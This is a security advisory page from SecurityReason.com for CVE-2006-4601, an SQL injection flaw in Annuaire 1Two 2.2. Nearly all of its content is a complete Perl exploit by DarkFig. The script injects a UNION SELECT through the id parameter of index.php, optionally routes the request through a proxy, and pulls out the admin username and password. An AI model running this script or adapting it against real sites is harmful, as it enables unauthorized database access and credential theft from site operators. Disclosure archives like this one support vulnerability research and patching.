SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Annuaire 1Two 2.2 Remote SQL Injection Exploit


Arrow  SecurityAlert : 1496
Arrow  CVE : CVE-2006-4601
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : DarkFig
Arrow  Published : 08.09.2006

Arrow  Affected Software : Annuaire 1Two 2.2



Arrow  Advisory Content :  

#!/usr/bin/perl

#

# Affected.scr..: Annuaire 1Two 2.2

# Poc.ID........: 09060902.txt

# Type..........: SQL Injection (without quote)

# Risk.level....: Medium

# Vendor.Status.: Unpatched

# Src.download..: http://www.1two.org/

# Poc.link......: acid-root.new.fr/poc/09060902.txt

# Credits.......: DarkFig

#

#

use LWP::UserAgent;

use HTTP::Request;

use Getopt::Long;

use strict;

print STDOUT "n+", '-' x 53, "+n";

print STDOUT "| Annuaire 1Two 2.2 Remote SQL Injection Exploit |n";

print STDOUT '+', '-' x 53, "+n";

my($host,$path,$proxh,$proxu,$proxp,);

my $opt = GetOptions(

'host=s' => $host,

'path=s' => $path,

'proxh=s' => $proxh,

'proxu=s' => $proxu,

'proxp=s' => $proxp);

if(!$host) {

print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] [Options] |n";

print STDOUT "| [Options] --proxh=[ip] --proxu=[user] --proxp=[pwd] |n";

print STDOUT '+', '-' x 53, "+n";

exit(0);

}

if(!$path) {$path = '/';}

if($host !~ /http/) {$host = 'http://'.$host;}

if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}

my @fi = ('username', 'password');

my $ur = $host.$path.'index.php?id=';

my $ua = LWP::UserAgent->new();

$ua->agent('Mozilla XD');

$ua->timeout(30);

$ua->proxy(['http'] => $proxh) if $proxh;

foreach(@fi) {

my $xx = $_;

my $re = HTTP::Request->new(GET => $ur."-1 UNION SELECT $xx FROM
1two_annuaire_admin");

$re->proxy_authorization_basic($proxu, $proxp) if $proxp;

my $xd = $ua->request($re);

my $da = $xd->content;

if($da =~ /- (.*?)</title>/) {

if($xx eq 'username') {

print STDOUT " [+]User:";}

if($xx eq 'password') {

print STDOUT " [+]Passwd:";}

print STDOUT " $1n";

} else {

print STDOUT "[!]Exploit failedn";

}}

print STDOUT "+", '-' x 53, "+n";

exit(0);





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libopie __readrec() off-by-one

Security Risk Medium- 2010-04-23

This advisory is related to new FreeBSD advisory FreeBSD-SA-10:05.opie.

Apache RSS Apache Alert

» Apache ActiveMQ 5.4.0
   source code disclosure
   vulnerability

» Apache ActiveMQ 5.3.0
   Persistent Cross-Site
   Scripting

» Apache CouchDB 0.10.1
   Timing Attack
   Vulnerability

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.